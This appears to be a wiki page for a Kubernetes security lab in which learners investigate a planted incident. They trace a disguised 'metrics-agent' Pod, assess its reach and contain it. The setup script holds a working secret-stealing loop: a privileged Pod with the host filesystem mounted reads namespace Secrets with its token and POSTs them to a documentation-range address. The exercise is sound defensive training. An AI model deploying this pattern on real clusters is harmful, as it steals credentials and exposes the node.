cloudnative wiki

Lab CKS-14 — Investigating an Unknown Incident

10 min read

Lab CKS-14 — Investigating an Unknown Incident

The other runtime-security labs trigger a known event and then find it: you already know which Pod and which string to search for. Real investigation runs the other way. This lab plants a problem in a namespace of ordinary workloads and gives you only a vague report. You establish which workload, what it is doing, what it could reach, and how to stop it without destroying the evidence.

The answers are in collapsed blocks. Open each one only after writing down your own.

Concepts: Runtime Detection, RBAC and kubectl Debug Toolkit.

Tested 2026-10-13 on kind v0.33.0 with Kubernetes v1.37.0.

What this lab does not have

The cluster has no audit log and no Falco, so the evidence is limited to what the API objects, the Pod and the node show. That is deliberate: it is what you have when detection tooling was not in place. With audit logging enabled you could also answer “who created this and when did it first read a Secret”; section 6 says where that evidence would come from.

1. Prerequisites & Starting State

  • Working k8s-lab cluster from Lab CKAD-01 and jq. No other lab is required.

Run the setup without reading it. It is long on purpose.

cat << 'SETUP' > incident-setup.sh
kubectl create namespace shop
for A in catalog cart checkout; do
  kubectl -n shop create deployment $A --image=ghcr.io/stefanprodan/podinfo:6.7.1 --replicas=2
done
kubectl -n shop create secret generic payment-api-key --from-literal=key=sk_live_51Hxxxx
kubectl -n shop create serviceaccount metrics-agent
kubectl -n shop create role metrics-agent --verb=get,list --resource=secrets,pods
kubectl -n shop create rolebinding metrics-agent --role=metrics-agent --serviceaccount=shop:metrics-agent
kubectl -n shop apply -f - << 'Y'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: metrics-agent
  labels:
    app: metrics-agent
spec:
  replicas: 1
  selector:
    matchLabels:
      app: metrics-agent
  template:
    metadata:
      labels:
        app: metrics-agent
    spec:
      serviceAccountName: metrics-agent
      hostPID: true
      containers:
        - name: agent
          image: curlimages/curl:8.10.1
          securityContext:
            privileged: true
            runAsUser: 0
          command:
            - sh
            - -c
            - |
              T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
              while true; do
                curl -sk -H "Authorization: Bearer $T" https://kubernetes.default.svc/api/v1/namespaces/shop/secrets -o /tmp/.cache
                curl -s -m 3 -X POST --data-binary @/tmp/.cache http://198.51.100.23:8443/upload >/dev/null 2>&1
                echo "metrics pushed"
                sleep 20
              done
          volumeMounts:
            - name: host
              mountPath: /host
      volumes:
        - name: host
          hostPath:
            path: /
Y
SETUP
 
sh incident-setup.sh > /dev/null 2>&1
sleep 30

The destination address in the setup, 198.51.100.23, is from a range reserved for documentation. Nothing is sent anywhere.

2. The Report

“The network team saw repeated outbound connection attempts from the cluster to an address nobody recognises, on port 8443. They think it is coming from the shop namespace. Nothing is alerting.”

Your tasks, in this order. Suggested time: 25 minutes.

  1. Identify the workload responsible.
  2. State what it is doing, with evidence you could show someone.
  3. State what it has access to: in the API, and on the node.
  4. Contain it so that it can do no further harm, without deleting the Pod.
  5. List what must be done afterwards.

3. Triage: Which Workload?

Do not start by reading logs Pod by Pod. Ask the API for the properties that make a workload dangerous, across the whole namespace in one view:

kubectl -n shop get pods -o custom-columns='NAME:.metadata.name,SA:.spec.serviceAccountName,PRIV:.spec.containers[*].securityContext.privileged,HOSTPID:.spec.hostPID,HOSTNET:.spec.hostNetwork,HOSTPATH:.spec.volumes[*].hostPath.path,IMAGE:.spec.containers[*].image'

Then look for what does not fit: a different image, a different ServiceAccount, host access, or a different age. kubectl -n shop get rolebinding,role shows which identities have been given API access.

4. What Is It Doing?

Gather evidence from three places, from least to most intrusive: the object’s specification, the Pod’s output, and the processes on the node. Prefer methods that do not change the Pod.

P=$(kubectl -n shop get pod -l app=metrics-agent -o jsonpath='{.items[0].metadata.name}')
 
kubectl -n shop get pod "$P" -o jsonpath='{.spec.containers[0].command}{"\n"}'
kubectl -n shop logs "$P" --tail=3
kubectl -n shop exec "$P" -- sh -c 'ps -o pid,args; ls -la /tmp'

From the node, which works even when the container has no shell:

NODE=$(kubectl -n shop get pod "$P" -o jsonpath='{.spec.nodeName}')
CID=$(kubectl -n shop get pod "$P" -o jsonpath='{.status.containerStatuses[0].containerID}' | sed 's#containerd://##')
 
docker exec "$NODE" crictl inspect "$CID" | jq -r '.info.pid'
docker exec "$NODE" sh -c "ps -eo pid,ppid,user,args | grep -E 'curl|upload' | grep -v grep"

5. What Could It Reach?

Two separate questions: what its identity may do in the API, and what the Pod can do to the node.

kubectl auth can-i --list -n shop --as=system:serviceaccount:shop:metrics-agent | grep -vE "selfsubject|^\s+\["
kubectl -n shop get rolebinding -o wide
kubectl -n shop exec "$P" -- sh -c 'id; ls /host | head -n 5; ls /host/etc/kubernetes 2>/dev/null'

6. Contain It

The instinct is kubectl delete pod. That destroys the process list, the files in /tmp and the logs, and the Deployment immediately starts an identical replacement, so it achieves nothing. Contain in an order that stops the harm first and keeps the Pod.

Work out your own sequence before opening the answer. Things to consider: what recreates the Pod, what the Pod uses to talk to the API, what it uses to talk to the outside, and what happens to a Pod when its labels change.

7. Afterwards

8. Cleanup

kubectl uncordon "$NODE" 2>/dev/null
kubectl delete namespace shop
rm -f incident-setup.sh evidence-*

Practise Again, Differently

The method matters more than this particular answer. To rehearse it on something you have not seen, ask a colleague to change the setup before you run it, or change one thing yourself and return after a few days. Variations that alter the evidence:

  • the workload is a CronJob, so most of the time no Pod is running;
  • it uses the default ServiceAccount, to which someone bound a role, so no unusual identity stands out;
  • it is not privileged, but mounts the container runtime socket;
  • the suspicious Pod is in a different namespace from the one reported.

In each case the same four questions apply: which workload, doing what, able to reach what, and stopped how.

Further reading

Next Lab

This is the last CKS lab. Return to the CKS Track, or test yourself with the CKS practice set.

Graph View

Backlinks